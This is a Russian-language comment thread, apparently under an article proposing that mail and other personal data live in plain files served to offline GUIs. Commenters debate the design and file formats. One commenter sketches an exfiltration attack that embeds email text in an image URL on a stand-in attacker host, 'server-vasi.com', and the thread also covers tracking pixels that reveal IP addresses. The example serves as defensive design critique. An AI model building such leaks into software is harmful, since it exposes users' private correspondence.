Преимущества только для пользователей, и уж никак не для разработчиков. Пользователи никак не могут повлиять на внедрение идей из данной статьи, для них это всё равно, что статья "почему все программы должны быть бесплатными" или "почему тех. поддержка должна решать любой вопрос за 10 минут". Да, было бы неплохо. Но, помечтали и разошлись.
Я же это в первом абзаце написал. Я уже писал что я очень долго пытался понять как сделать так, что бы у людей был шанс разорвать зависимость.
Это манифест или инструкция или ответ или идея, можно назвать как угодно. Важно что это продуманный документ доступный людям.
Я же это в первом абзаце написал
Прямого ответа нет, а додумывать я не рискну, а то что-нибудь предположишь, и получишь обвинение "я этого не говорил".
статья ... расскажет о методах, позволяющих вновь контролировать личную информацию, обезопасить её от утечек и избежать ограничений, налагаемых поставщиками услуг
В чём метод-то? Взять и переписать весь софт самому для себя? Коммерческому производителю ПО следовать идеям статьи не выгодно.
Во первых, с новым годом!
Во вторых, коммерция здесь не страдает. Сервисы по хорошему должны были писаться производителями ОС. А к ним уже коммерческие GUI со своими плюшками.
Но раз уж не сложилось, надо с чего то начать. Вот началом может стать эта статья.
с новым годом!
Взаимно!
Сервисы по хорошему должны были писаться производителями ОС
Они бы рады загробастать себе этот кусочек функциональности, да кто ж им даст? Чтобы Meta доверила Microsoft и Google писать back-end'ы для Instagram и Facebook? Даже не смешно.
надо с чего то начать. Вот началом может стать эта статья
Начать надо с выяснения вопроса, кто к принципе может взяться за реализацию, и какая у него будет мотивация.
На данный момент я самостоятельно могу написать несколько Сервисов на Golang.
Кстати пока сегодня читал информацию по форматам файлов, нашёл, что .mht по сути тот же .eml... т.е. такой же обычный текстовый документ с multipart Content-type типом. А значит, все действительно не так уже и сложно как казалось изначально. Можно будет при получении html просто подгрузить внешние ресурсы и разместить прямо в файле в виде base64. Т.е. GUI просто будет брать файл и без интернета отображать полноценный html письма.
На данный момент я думаю с чего начать, с какого Сервиса. Написать Сервис для почты или для RSS, оба варианта достаточно сложные для реализации, но ключевые. Наверно более ключевые только Сервис ИИ и Сервис Контактов.
я самостоятельно могу написать несколько Сервисов
Уже что-то. А GUI для почты готовы написать? Чтобы не хуже outlook/thunderbird, иначе зачем всё это.
Можно будет при получении html просто подгрузить внешние ресурсы и разместить прямо в файле в виде base64
Не зная всей кухни, делаете дыры на ровном месте. Потому что раньше это было любимой забавой хакеров и сталкеров: отправить жертве письмо со картинкой-ссылкой на свой сервер, и увидеть её реальный ip-адрес. Дальше атаковать стандартные сервисы ОС и продвигаться глубже. Ну, или хотя бы узнать город/район, где она живёт.
Поэтому все почтовые клиенты сейчас по умолчанию не подгружают картинки, оставляя такую возможность вручную, но выдавая грозное предупреждение, что это небезопасно. Инфраструктура типа GMail загружает картинки через свои прокси, подменяя URL-ы в теле письма. Понятно, что они больше заботятся не о приватности пользователей, а об эксклюзивном доступе к персональным данные (это моё стадо, и только я могу его стричь).
Да на счет того что по картинкам спамеры понимают что адресат живой я знаю. С другой стороны если я всё это реализую мне будет все равно что спамеры меня засыпят письмами. До меня эти письма не долят благодаря анализу от ИИ.
GUI для почты я тоже готов написать... Мультиплатформенность приложений в 2023 Здесь я нашел способ пилить мультиплатформенные приложения. Т.е. Golang сервис + GUI на Lazarus посволят сразу охватить все платформы.
не будет все равно что спамеры меня засыпят письмами
Дело не в спаме, а в раскрытии ip-адреса.
GUI для почты я тоже готов написать
Что-ж, удачи. Дорога на несколько лет. Потом надоест и проект ляжет в стол. Знаем, плавали.
Ну обычно пк за нат сидят, так что слить айпишник не страшно в целом
В этом ваш подход. Вы пилите софт чисто для себя, под свои задачи. А то, что у N% обычных людей роутер с дефолтным паролем, или с паролем 1234, который ставит монтажник, или с паролем "номер квартиры", не ваша забота. Ну и упрощаете веселье мамкиным хакерам, умеющим "вычислять по ip"
Сейчас мамкины хакеры делают короткую ссылку и кидают в телегу.
Но думаю можно сделать возможность добавления прокси или сервисы анонимной загрузки (Web Scraping), просто в конфиг добавить этот ньюанс.
Ну или просто не грузить контент который имеет ссылки не с того же домена что письмо, или например просто не грузить никакой html сторонний контент, а отдельным сервисом подгружать только для писем которые точно не спам.
Для себя я вообще изначально хотел лишь текст забирать, мне этот html вообще не нужен так то.
С письмами еще есть такая штука как отмена подписок, unsubscribe. Это вообще должен быть интеллектуальный сервис, который должен сам зайти на страницу отписки, выбрать то что надо и сделать отписку.
должен быть интеллектуальный сервис, который должен сам зайти на страницу отписки, выбрать то что надо и сделать отписку
Зачем, если спам и без того надёжно заблокируется.
Так возможен ещё один вектор атаки, при котором сторонний сервис заставит делать http-запросы с вашего IP, а кто знает, что в этих ссылках.
Да, речь конечно про нормальные письма. Спам и спуфинг отдельная песня.
Я кстати пока не нашел решения для СМС, кроме как взять андроид телефон и на нем поднять астериск. Раньше у нас был Задарма, который имел API для СМС и приложение для звонков. Сейчас место освободилось но не импортозаместилось... Покрайней мере на вскидку найти что то не удалось (нужно что бы можно было мой номер перенести в этот сервис, а сервис предоставил бы звонки через приложение, и доступ ка СМС)
Я не предлагал хранить их локально в виде базы данных.
Как это нет, вы только что сказали "храните в любом формате". Вот у меня есть файл в формате PostgreSQL. Как GUI для почты должен его читать? Встраивать половину PostgreSQL в свой исполняемый файл?
Работают с данными GUI которые не имеют доступа в интернет.
Я вам уже объяснял, GUI необязательно иметь доступ в интернет напрямую, он может отправлять данные через сервис.
Более того, для почты это вообще невозможно. Потому что в почте есть картинки, которые GUI должен показывать, и разрешено делать ссылки на них на сайты в интернете. На этом основан механизм tracking pixel для отслеживания прочтения писем.
Даже если вы предложите, чтобы сервис скачивал все картинки для GUI, это тоже можно обойти. По условиям у нас есть GUI от хакера без доступа в интернет, в котором есть кнопки "Отправить письмо" и "Удалить письмо". Как он это делает, нам неважно.
Хакер хочет передать какое-то письмо пользователя себе на сервер.
GUI отправляет письмо самому себе, то есть с адреса пользователя на него же. Адрес пользователя конечно же находится в доверенном списке. В письме есть картинка с адресом http://server-vasi.com/images/test.jpg?data=<текст письма>
. Сервис делает запрос на скачивание картинки, сервер хакера Васи отдает картинку и сохраняет текст письма себе в базу. Потом GUI удаляет это письмо. Алерта от сервиса на удаление конечно же нет, так как для таких алертов мы и ставим GUI, и второй алерт от сервиса нам не нужен.
Я второй раз не буду все повторять, я вроде бы по отдельности уже ответил на все эти вопросы.
В том и дело, что нет, вам лишь кажется, что ответили. Вам это несколько человек пытаются объяснить.
Просто ctrl+f, и можете найти ответы именно на эти вопросы.
Это уже явная ложь. Я нажал "ctrl+f", поискал слово "картин", нашлось 11 совпадений, и ни в одном месте вы не описываете, как вы будете обходить скачивание картинки с произвольным URL для письма, которое сформировал GUI. Его даже отправлять необязательно, достаточно положить в черновики.
ну вот на 6 сообщений выше этого, есть ответ
Как я уже сказал, вам кажется, что это ответ, но на самом деле нет. Но вы не хотите это обсуждать, вы уходите от ответа и не отвечаете на вопросы, поэтому объяснить вам это невозможно.
да нет же, на 8 сообщений выше как раз ответ на ваш вопрос
Я прочитал ваш комментарий про домены перед тем как написал предыдущий комментарий, он не отвечает на мой вопрос и не решает проблему, которая там описана. Вам кажется, что вы придумали хорошее решение, но на самом деле нет.
На самом деле, тот кто хочет быть рабом, тот им будет. А для остальных должен быть подуманный способ как освободиться.
Начали с безопасности, а закончили философией. Непонятно, что вы имеете в виду под "освободиться", если данные, которые сервисы скачивают в файлы, все равно находятся на серверах корпораций.
Раз вы не хотите отвечать на вопросы, попробую предположить, как вы это представляете в контексте моего примера, и опишу недостатки такого подхода.
- Пользователь создает черновик HTML-письма и хочет, чтобы отображались все картинки, которые он добавил в GUI. Никакого email он еще не указал. Значит GUI должен уметь попросить сервис скачать картинки для черновика. GUI от хакера может сам создать черновик или добавить картинку 1x1 пиксель в черновик пользователя. Так как email еще не указан, защита по домену не работает.
- Пользователь пересылает HTML-письмо от компании другому человеку. То есть HTML-код от компании это часть письма пользователя. Так как эти пользователи имеют другой домен в email, то картинки не отображаются. То есть вы сломали текущую функциональность. Если разрешить их отображать, то GUI может добавить в этот HTML свою картинку, и сервис другого пользователя ее скачает.
- У многих компаний картинки находятся на другом домене, например письмо отправляется с noreply@company.com
, а картинки находятся на img.company.com
или company.s3.amazonaws.com
. В вашем варианте это тоже работать не будет. Также можно представить уведомления по задачам из Jira с изображениями на домене таск-трекера, переписку работников из разных компаний с логотипами в оформлении письма, и т.д.
Начали с безопасности, а закончили философией. Непонятно, что вы имеете в виду под "освободиться", если данные, которые сервисы скачивают в файлы, все равно находятся на серверах корпораций.
И что что находятся на серверах? В статье четко сказано, что речь идет о приложениях которые содержат в себе БД в которой хранятся данные. Облака конечно тоже зло, можно их тоже не использовать, если данные будут храниться у вас на девайсе. Теперь еще раз пробежимся по ключевым проблемам.
Данные хранятся в приложении, это не дает возможности работать с данными сразу из нескольких приложений. Данные нужно из программы экспортировать, затем импортировать в другую программу. Надеюсь тут всё понятно.
Данные хранятся в приложении, это не дает возможности обработать их например ИИ, что бы с ними что то сделать. Тут вроде тоже очень все доступно к пониманию.
Данные хранятся в приложении, это значит если закончится поддержка приложения например или закончится подписка, или что угодно произойдет с автором. А в программе нет экспорта данных, вы их потеряли. Тут надеюсь тоже вопросов не возникнет.
Данные хранятся в приложении, что с ними происходит, что делает с ними автор программы, ни вы ни я не знаю если конечно это не опенсурс проект, где исходники лежат открытыми и вы сами из исходников собрали приложение.
Сторонний софт который вы ставите, и передаете к нему логин пароль от вашего аккаунта, так же может слить ваш логин пароль при желании. И риск высокий, потому что в текущей схеме, каждая програмам должна работать с сервером.
- Пользователь создает черновик HTML-письма и хочет, чтобы отображались все картинки, которые он добавил в GUI. Никакого email он еще не указал. Значит GUI должен уметь попросить сервис скачать картинки для черновика. GUI от хакера может сам создать черновик или добавить картинку 1x1 пиксель в черновик пользователя. Так как email еще не указан, защита по домену не работает.
Что это за черновик такой содержащий внешние ресурсы?
Как такое письмо увидит другой человек, если почтовые программы внешние ресурсы не загружают?
Никто не мешает сделать нормальное письмо без внешних ресурсов (с сохранением ресурсов внутри письма), оно и у других пользователей откроется без проблем да и в спам не улетит прямиком.
Про GUI от хакера это уже отсебятина, у GUI нет доступа в интернет.
- Пользователь пересылает HTML-письмо от компании другому человеку. То есть HTML-код от компании это часть письма пользователя. Так как эти пользователи имеют другой домен в email, то картинки не отображаются. То есть вы сломали текущую функциональность. Если разрешить их отображать, то GUI может добавить в этот HTML свою картинку, и сервис другого пользователя ее скачает.
Еще раз, с источниками данных работают только сервисы, у GUI нет доступа в интернет или куда то кроме обозначенных папок с данными.
Если вам надо что бы письма в GUI выглядели с загруженным html с внешними ресурсами, для этого можно добавить в конфиг галочку (интегрировать ресурсы в письмо), а что бы у вас сразу не сработал триггер о безопасности, то можно дополнительно указать прокси или анонимные грузилки ресурсов.
Т.е. буквально Сервис, получает письмо, и все ресурсы добавляет внутрь письма. На выходе письмо которое в GUI отображается без интернета.
- У многих компаний картинки находятся на другом домене, например письмо отправляется с
noreply@company.com
, а картинки находятся наimg.company.com
илиcompany.s3.amazonaws.com
. В вашем варианте это тоже работать не будет. Также можно представить уведомления по задачам из Jira с изображениями на домене таск-трекера, переписку работников из разных компаний с логотипами в оформлении письма, и т.д.
Будет работать. Написал выше почему и как именно это будет работать.
В статье четко сказано, что речь идет о приложениях которые содержат в себе БД
Но вы приводите в пример email, БД для email находится на сервере Google, данные хранятся там. Многие вообще используют веб-интерфейс без всяких приложений типа Thunderbird.
Даже если вы скопировали данные на девайс, в базе Google они все равно остались.
Данные хранятся в приложении, это не дает возможности работать с данными сразу из нескольких приложений.
Ну так в этом и цель, чтобы посторонние приложения не могли читать вашу переписку в Whatsapp или Telegram. Когда это контролирует само приложение, это надежнее, чем если это делают неопытные пользователи вручную через права доступа к папкам.
Нет такого понятия "Данные хранятся в приложении", вам это уже объясняли. Локально данные ВСЕГДА хранятся на диске в виде файлов. Если вы знаете формат файла, вы можете его прочитать из любого приложения. Некоторые форматы файлов требуют пароль, причина в предыдущем абзаце.
Теперь еще раз пробежимся по ключевым проблемам.
Вы в очередной раз уходите от ответа и переводите разговор на другую тему.
Сторонний софт который вы ставите, и передаете к нему логин пароль от вашего аккаунта, так же может слить ваш логин пароль при желании.
Поэтому не надо ставить сторонний софт, надо использовать официальную программу от компании, предоставляющей услуги. В чем проблема так сделать?
Мы это уже обсуждали, зачем вы это еще раз повторяете? Логин-пароль нужны чтобы получить доступ, а если у GUI уже есть доступ к письмам, то они ему не нужны. Дальше мы обсуждали способы как он может их слить, не имея собственного доступа в интернет.
Что это за черновик такой содержащий внешние ресурсы?
Вы опять уходите от ответа. Такой вот у нас GUI, "Суперфича! В нашем GUI вы можете составлять HTML-письма самостоятельно!".
Как такое письмо увидит другой человек, если почтовые программы внешние ресурсы не загружают?
Никак, читайте внимательно. В этом пункте картинки видит пользователь, который составляет черновик.
Никто не мешает сделать нормальное письмо без внешних ресурсов (с сохранением ресурсов внутри письма)
Вы не поняли, о чем я пишу. Прочитайте еще раз внимательно и постарайтесь понять.
Чтобы сохранить внешние ресурсы внутри письма, надо их скачать, это значит обратиться к URL. Если URL составляется программой-GUI от хакера, он там может указать свой домен и любые данные, например содержимое другого письма. Для составления URL иметь доступ в интернет этой программе необязательно, она сама не скачивает ресурсы.
Про GUI от хакера это уже отсебятина, у GUI нет доступа в интернет.
Еще раз, с источниками данных работают только сервисы, у GUI нет доступа в интернет
Слушайте, это уже троллинг. Объясняю еще раз, я понял, что у GUI нет доступа в интернет, я пишу комментарии с учетом этой информации. Сколько раз можно повторять?
GUI от хакера не скачивает картинки сам, он только формирует URL с нужной информацией, кто их будет скачивать это дело десятое. Если скачивание хотя бы когда-то происходит, значит в этот момент информация передается на сервер хакера.
то можно дополнительно указать прокси или анонимные грузилки ресурсов
Сервис, получает письмо, и все ресурсы добавляет внутрь письма.
Вот я вам и объясняю, это не решает описанную проблему. Aнонимная грузилка ресурсов или сервис загрузит картинку по URL с сервера хакера, а в этот URL программа-GUI от хакера добавила содержимое личного письма пользователя.
Вот если бы вы отвечали на вопросы прямо, то есть с описанием какая программа что делает в контексте конкретного примера, а не косвенно "я вон там написал", вы бы сами это поняли.
Это какая программа email не хранит письма локально внутри себя? Есть название? Насколько я знаю ВСЕ программы так или иначе хранят данные внутри себя. Если мы говорим о программе, а не о веб интерфейсе. Если о нем то при чем тут вообще моя статья?
Ещё хочу вам рассказать, что многие программы хранят данные в виде MQLite например. Или в CloudKit или вообще в своем внутреннем бинарнике аналоге БД. Если программа не хранит ваши данные, то это наверно веб интерфейс. А если мы говорим про веб интерфейсы то при чем тут моя статья?
Интересно как вы заставите людей ставить или не ставить сторонний софт? Вот просто давайте не будем ставить сторонний софт, будем пользоваться тем что дали вендоры. Давайте может вообще не пользоваться компьютером и тогда проблемы решены. Это звучит абсурдно.
Пользоваться софтом вендоров тоже порой не безопасно. Сколько случаев когда после обновлений все ложилось? Откаты обновлений и прочие прелести от вендоров.
Если программа хакера Васи, сама создает письмо содержащее некие внешние ссылки. То при чем здесь вообще моя статья? Программа хакера Васи может это сделать в любой пограмме. Даже в вашей почтовой. Какие то псевдо аргументы.
Вы предлагаете не ставить сторонний софт от хакера Васи. Я такое бы тоже предложил, но мир он другой. И программу хакера Васи ставят каждую секунду и без моей статьи. Поэтому давайте нормальные аргументы.
Это какая программа email не хранит письма локально внутри себя?
Любая. Программы хранят данные не в своем исполняемом файле, а в виде файлов на диске в разных форматах. Эти файлы можно прочитать любой программой, если она знает как читать этот формат. XLSX, JSON, MDB, SQLite принципиально в этом ничем не отличаются.
Ещё хочу вам рассказать, что многие программы хранят данные в виде MQLite например.
Я вас об этом спрашивал выше, чем отличается XLSX от любого формата баз данных, вы сказали "храните в любом формате". Дальше обсуждать этот вопрос вы отказались.
Интересно как вы заставите людей ставить или не ставить сторонний софт?
Никак. Я об этом и не говорил. Ваше решение вы тоже их не заставите использовать, тут нет никаких отличий.
Если программа хакера Васи, сама создает письмо содержащее некие внешние ссылки. То при чем здесь вообще моя статья?
Это вы начали говорить про GUI для работы с письмами, который умеет их составлять. Вам лучше знать, при чем тут ваша статья.
Вы сказали, что такой GUI без доступа в интернет не сможет слить личную переписку, даже если он написан хакером. Я вам объясняю, что сможет. А если не умеет составлять, то его ставить никто не будет.
Программа хакера Васи может это сделать в любой пограмме. Даже в вашей почтовой.
Программа может сделать что-то в программе? Это какое-то бессмысленное предложение.
Какая еще моя почтовая программа? Мы говорим про GUI для почты, который работает с файлами, и который может быть написан хакером. Почему вы меняете тему разговора и подменяете понятия?
Вы предлагаете не ставить сторонний софт от хакера Васи.
Нет. Я говорю, что ваш способ "GUI для почты от хакера Васи может работать только с файлами" не защищает от слива данных. Я описал конкретный способ, как он может их слить, не имея доступа в интернет, а просто составляя письма, которые потом будут обрабатываться сервисом.
Любая. Программы хранят данные не в своем исполняемом файле, а в виде файлов на диске в разных форматах. Эти файлы можно прочитать любой программой, если она знает как читать этот формат. XLSX, JSON, MDB, SQLite принципиально в этом ничем не отличаются.
Ну если так подумать, тогда вобщем все уже сделано, уже все в файле, но при этом ни одна программа внутри ничего не хранит. Дальше не читал даже...
если так подумать, тогда вобщем все уже сделано, уже все в файле
Вот именно, вам это объясняют уже в течение >100 комментов.
Только важно еще и содержимое этих файлов. Как сервис для условного Whatsapp должен выгружать в файл смайлики сообщения? Делать один файл в JSON с полями "message" и "smiles"? Или "text" и "reactions"? Или файлы "message-.txt" с текстом и "smiles-.txt" с идентификаторами смайлов?
То есть сторонний GUI для Whatsapp, работающий с файлами, должен знать, как их прочитать - для отображения текста брать из JSON-файла поле "message" или поле "text", для смайлов должен знать соответствие id и картинки. А если Whatsapp поменяет названия полей, то надо будет переписывать GUI. И это не отличается от любого другого формата.
Это какая программа email не хранит письма локально внутри себя? Есть название? Насколько я знаю ВСЕ программы так или иначе хранят данные внутри себя
Внезапно, Microsoft Outlook.
Набор pst-файлов, т.е. архивов почтовых ящиков, настраивается не в самом аутлуке, а в панели управления (Control panel → User Accounts → Mail → Data Files), и дальше любая программа может подхватить эти ящики и работать с ними. Там же и RSS Feeds настраиваются.
Как видите, MS уже дал сторонним разработчиком единый центр управления почтой и RSS, но все забили болт: им интереснее реализовать своё (так, как им удобно, а не MS), чем полагаться на сервисы ОС. Это всё, что нужно знать о перспективах идеи "сервисы ОС отдельно, GUI отдельно".
Кстати, интересно, много ли людей пользуется папками Windows "Мои картинки", "Мои документы", "Моё видео" и т.п.? Лично я предпочитаю сам сделать папки (не в профиле пользователя) и раскладывать файлы, как мне нравится, а не как разрвботчик ОС придумал.
С Оутлуком, очень даже круто, не ожидал. Это кстати как раз то о чем я говорю, и если бы все программы поступали точно так же, было бы очень хорошо.
С тем что все реализовывают своё, тут понятно. Если бы Микрософт реализовала на уровне системы работу с почтой. А Оутлук был лишь GUI все остальные наверно тоже бы не занимались написанием работы с imap в каждом новом почтовом клиенте.
Если бы Микрософт реализовала на уровне системы работу с почтой
Тот же thunderbird всё равно бы реализовывал свой mail-транспорт. Потому что это кросс-платформенная программа, и завязываться на сервисы ОС (Microsoft) он не может.
Условный The BAT, который берёт удобством и фичами, тоже реализовывал бы свой транспорт. Потому что MS не предоставила такие параметры, как количество ретраев при коннекте к серверам, расписание отправки и получения почты и т.п.
Если ты пишешь коммерческий софт, и юзеры просят сделать какую-то фичу, а эта фича вне твоей зоны ответственности, придётся расшириться на эту зону, и писать своё, а не пользоваться системным.
Примеров уйма. Многие программы для https-запросов включают в себя последнюю версию OpenSSL, а не пользуются стандартными Internet API. Хотя, казалось бы, работали бы системные прокси, указанные в панели управления. Работали бы "зоны безопасности". Нет же, предпочитают ручной контроль - так меньше зависишь от кривых апдейтов ОС и кривых пользовательских настроек.
Ну что тут скажешь, в итоге мы имеет то что имеем... пришли к тому куда шли, здесь уже тупик. Каждая программа теперь стоит анклавом изоляции.
Если бы мы не свернули тогда в эту сторону, в каждой ОС были бы свои сервисы, которые можно было бы легко дополнять. Вот этот же пример, когда скажем сервис стандартного аутлука что то не умеет. Пиши свой сервис, который работает с данными от Оутлука.
Это концептуальный момент. Что-то типа выбора между капитализмом, где каждый тянет одеяло на себя, и коммунизмом, где все работают на общее благо. На данный момент наиболее популярное мнение такое, что первый вариант - рабочий, а второй - тупиковый.
Тесла тоже считалась тупиковой. Сначала решают гики, потом окружение, а потом все сотальные которые вообще самостоятельно не принимают решений идут за всеми.
Я думаю надо делать еще одну статью с уже расписанным сервисом, от и до. И потихоньку пилить первый сервис. На нем шишек набить.
Хм, и что это покажет?
В заголовке статьи было заявлено "пора вернуть свои данные".
Но базу e-mail при пользовании offline-клиентом у нас и так никто не отнимал. Все классические почтовые клиенты работают с файлом - бери/пользуйся.
RSS? Там чужие данные, а не свои, куда их вернуть надо?
Попробуйте-ка вернуть то, что действительно нам недоступно - данные WhatsApp, vk или Telegram ))) И тут без согласия владельцев сервиса вы в тупике. Даже если удастся распарсить протокол, вы не защищены от юридического преследования, если ваша идея станет популярной.
Эпл интегрирует свой говно ИИ для фотографий, который еле еле просто "красный цвет" понимает. А как дать доступ сторонним ИИ они не знают, потому что данные в БД закрыты.
А зачем вы сидите на iOS? Идите в Android, там проблемы конкретно с фото/видео нет, любой программе можно дать доступ к локальной папке с медиа.
Соответственно, вопрос: на Android уже есть качественный ИИ-поиск? Или всё же дело не в закрытости? Может, это никому из разработчиков не надо (не придумали, как монетизировать?)
Ну, типа пересесть с иглы Apple, на иглу Google... хмхм
На игле Google у меня есть root, и я не чувствую себя привязанным. Потому что могу и приватность контролировать (файрволами и расширениями типа XPrivacy, которые позволяют приложениям думать, что они имеют доступ к контактам, интернету и т.п., а на самом деле, я их фильтрую), и бекапы делать, и браузером любым пользоваться, а не только одобренным свыше.
Господи, ну почему ...
Первое: когда вы что-то хотите поменять - поймите как работает то, что вы хотите поменять.
Возьмем почту. Ваш контрагент написал письмо и отправил его вам. Чуть более технически:
* Ваш контрагент написал вам письмо и оно сохранено в file-based хранилище почтового клиента. Как именно - не важно. Важно то, что доступ к нему доступен через почтового клиента.
* Клиент синхронизировался с почтовым сервером и в том числе отправил письмо по Инету на сервер
* Сервер "почтовыми" тропами в открытом Интернете через кучу промежуточных хостов дослал письмо до вашего почтового сервера
* Ваш почтовый клиент в какой-то момент "проснулся", синхронизировался со своим сервером и скачал письмо вам локально и ... поместил его в file-based хранилище почтового клиента.
Теперь, что вы предлагаете
Я найду эту цитату:
Для начала я предлагаю освободить данные, точнее освободиться от тех программ, которые хранят данные внутри себя. Данные должны храниться в папках.
На самом деле они не хранятся внутри программы. Это база, которую проходят еще ... я на самом деле затрудняюсь сказать, когда именно в силу возраста и большого стажа. Но код программы и ее данные уже очень-очень давно лежат отдельно друг от друга. Просто ну очень давно. Они хранятся в файле, или во многих файлах. Но самом деле в одном "файле" банально удобнее силу наличия требования полнотекстового поиска, тегов и еще туевой хучи функциональных требований к клиенту. В реальности это скорее БД, которая хранит свои данные на файловой системе.
Отмечу, что многие почтовые клиенты, особенно корпоративные, обладают чудесными возможностями на конфигурации "где хранить", "как синхронизировать" и т.д.
Но можно пожелать большой удачи реализовать функциональный почтовый клиент + жесткое требований хранить каждое письмо в виде отдельного файла. Большой-большой удачи и не менее большого бюджета
Интересный момент заключается в том, что как бы вы не "оптимизировали" последний шаг хранения, ваше письмо (даже если вы этого не хотите) проехало кучу совершенно неизвестных вам серверов. Которые управляются компаниями и людьми, которые вам НИЧЕГО не обязаны от слова совсем. Конечно, о них можно узнать, открыв технические заголовки письма - но дальше все претензии к ним можете смело написать на шершавой бумаге и свернув в трубочку, использовать по назначению.
Также интересным моментом является почтовый сервер и связанное с ним требование иметь возможность получать почту с разных устройств. Это требований + осознание того факта, что одно из такх устройств может быть выключено в момент получения письма, делает необходимость хранения писем на сервере почти неизбежной. Не, конечно по приколу можно придумать почтовый протокол, который объединит все ваши почтовые устройства как торрент-клиенты (не в чистом виде конечно, а идеологически), а сам сервер выступит торрент-сервером. Письмо в таком случае будет "раздачей". Все это не следует воспринимать серьезно, так как все таки люди пришли к пониманию, что такой жесткий "секс" им не нужен и позволяют почтовому серверу хранить письма.
В целом, уже этих двух моментов, а именно функциональных требований к почтовому клиенту и необходимости доступа к почте з разных девайсов безальтернативно приводит "молодых" революционеров к текущей архитектуре.
Второе: безопасность - это системность и классификация
Все довольно таки просто. Вы начинаете с классификации информации по степени важности + выделяете особые категории, например персональная инфа. Тем кто работает в доменах типа healthcare это важно (но в реальности во всех, просто не везде есть дополнительные отраслевые стандарты).
Далее в зависимости от классификации вы определяете требования к:
* идентификация - кто к нам стучится за данными
* авторизация - подтверди, что это ты
* авторизация - проверка права на запрошенное действие
* целостность - проверка на то, что действие при его передаче от актора не изменилось
* конфиденциальность - проверка на то, что не прознали сторонние лица
* ...
И определив их (тут уже явно есть матрица), вы их реализовываете. При этом есть еще стандартное изменение: "данные в движении" и "данные в покое". Просто сильно все отличается
Если вы чего-то боитесь относительно своих данных — вот выпишите себе и потом реализовывайте. Кстати, полученная матрица очень сильно облегчает жизнь QA
Третье: почитайте, что такое файловая система
Я очень вкратце расскажу, а то по ходу тут у вас замешана какая-то "магия".
Операционная система - это софт, который в очень упрощенном понимании находится между "железом" и остальными программами. На самом деле, в эпоху виртуализации, за которой наступила эпоха клауда там до железа еще много прослоек, но это не есть то, о чем я хочу вам написать. Операционная система имеет свое API (довольно таки низкого уровня - вы даже себе не представляете, насколько более низкого уровня, чем "Проводник"), которое собственно и декларирует всем остальным, что такое файл и как с ним можно работать. Так было не всегда, но когда пришел в мир Uniх и сказал: "все есть файл" - эта концепция захватила мир (но не полностью). Т.е. файл это не что-то в проводнике (он работает на куда более высоком уровне), а абстракция на уровне API операционной системы со списком методов и свойств.
Далее, чтобы это все работать (API - это только декларация) операционная система имеет в составе (тоже условно в виду модульной организации) драйверы, который реализуют API (целиком или не очень). Т.е. "под капотом" у драйвера своя реализация, а снаружи - унифицированное API. И уже используя это API было написано 100500 программ, которые работают с файлами. Проводник - просто одна из них. Она не обладает никакими уникальными свойствами, кроме возможно, ну я даже не знаю - может просто "девочки из бухгалтерии" о другом ничего не знают.
В общем то все. Идея пользоваться Проводник, вашу разработки - это банальные "яйца в профиль", которые ничего не меняют по сути. Вообще ничего.
Вывод:
Вы очень долго писали, то реально "родили" просто тот же почтовый клиент. Все. Точнее это я вам польстил, тут пока клиентом не пахнет, но если вы продолжите, то в конце вы его просто получите и все :) Это просто реально эпично, вы столько писали, что давайте не будем использовать "колесо", что в итоге все равно пришли к нему (только недоделанному)
Данные на сервере можно хранить в зашифрованном виде и не бояться слива базы.
Моя вина, вижу что мысль я не донес...
Бюось, если судить по ваше у ответу чуть ниже
Я надеюсь вы же понимаете что в БД внутри программы эти данные хранятся? А файловая система это уже БД, но доступная к просмотру без специального ПО.
так и не донесете :)
Вам реально надо начать с истоков, чтобы понять "что такое файловая система" и как она реализована. А потом что-то проектировать :)
У меня есть понимание о некоторых ФС... я не вижу никаких проблем назвать некоторые файловые системы базой данных
Файловую систему можно рассматривать как базу данных в следующих случаях:
Иерархическая структура: Файловая система хранит данные в иерархическом порядке (папки, подпапки, файлы), что напоминает структуру некоторых типов баз данных, например иерархических БД.
Метаданные: Файловая система обеспечивает хранение метаданных о файлах (размер, дата создания, права доступа), что также является характеристикой баз данных.
Поиск: В некоторых файловых системах есть возможности индексации и поиска, схожие с теми, что предлагают базы данных.
Тогда поясните что вы имели в виду, когда написали "А файловая система это уже БД, но доступная к просмотру без специального ПО." :)
На самом деле база данных, файловая система, "сырой" диск и (добавшееся в последнее время) объектные хранилища - это все ХРАНИЛИЩЕ ДАННЫХ. И доступ к лубому из низ требует СПЕЦИАЛЬНОГО ПО :)
---------------
По большому счету, нет принципиальной разницы между "Проводником" и Dbeaver. И то, и другое - пользовательский софт для работы с данными :) Просто первый базируется на API, которое дает операционка, а второй - на нотации SQL, которая реализуется через драйвер, который вы прописываете как параметр подключения
Самое смешное, файловая система по сути имеет такую же идеологию, которая более наглядно видна в Unix-системах (которые собственно и пошли от концеции "все есть файл"). Команда mount обеспечивает подключение "сырого" устройства, а к примеру mc - работу с файлами в привичном "для девочек из бухгалтерии виде".
Ваши попытки найти "филосовский камень" в файловой системе, которая волшебно чего-то там дает с точки зрения безопасности (ответ "нет") в общем-то ничем не отличается от реальных алхимиков, которые банально не знают химии :)
не файловая система даст безопасность
специальное по для просмотра файлов в фс основа на которой зиждется любая ОС, а вот MSQL или любая БД это набор таблиц и записей
файл можно перекинуть здесь и сейчас как угодно, попробуйте перекинуть запись из БД или табличку, а я посмотрю
никакой алхимии нет, если внимательно почитать статью будет понятно что я вообе пытаюсь донести
"всё есть файл" (c) Plan9
Так дает или не дает? И что дает? А что не дает?
А можно пример этого "специального ПО"? Только не говорите "проводник", а то меня порвет :)
Вы так и не поняли. Файл вы перекидываете не сами по себе, а используя прилождение, которое использует API. С базой все тоже самое - работа с записями осуществляется через ПО. К примеру, вот описание банального системного вызова для открытия файла: open(2) - Linux manual page (man7.org) . А теперь представьте себе сколько еще тон кода написано, чтобі ві могли "перекинуть" файл :)
Алхимики тоже так думали. Им было неплозо, лишние знания не мешали :)
-------------------
Я вам кину сорцы того, что "просто" перекидывает файл: coreutils/src/cp.c at master · coreutils/coreutils (github.com) . Вот прям реально просто :) Но это только если в командной строке. А вот сорцы "проводника" боюсь такой лаконичностью не порадуют
Ну, если бы я смог донести своей статьей свою мсысль, у вас бы не возникло такой простой связки что ФС добаляет или не добавляет безопасности
Пример специального ПО для просмотра БД можно посмотреть здесь: https://uchet-jkh.ru/i/programmy-dlya-raboty-s-bazami-dannyx-kakuyu-vybrat/
Нет это наверно вы не поняли, файл я могу перекинуть в любой ОС, т.к. это то начем основаны принципы работы ОС, а вот поделиться с другом записью из БД значительно сложнее, придется использовать специальный софт из пункта выше. И наверно другу тоже придется эту экспортную запись к себе в БД добавлять таким же софтом.
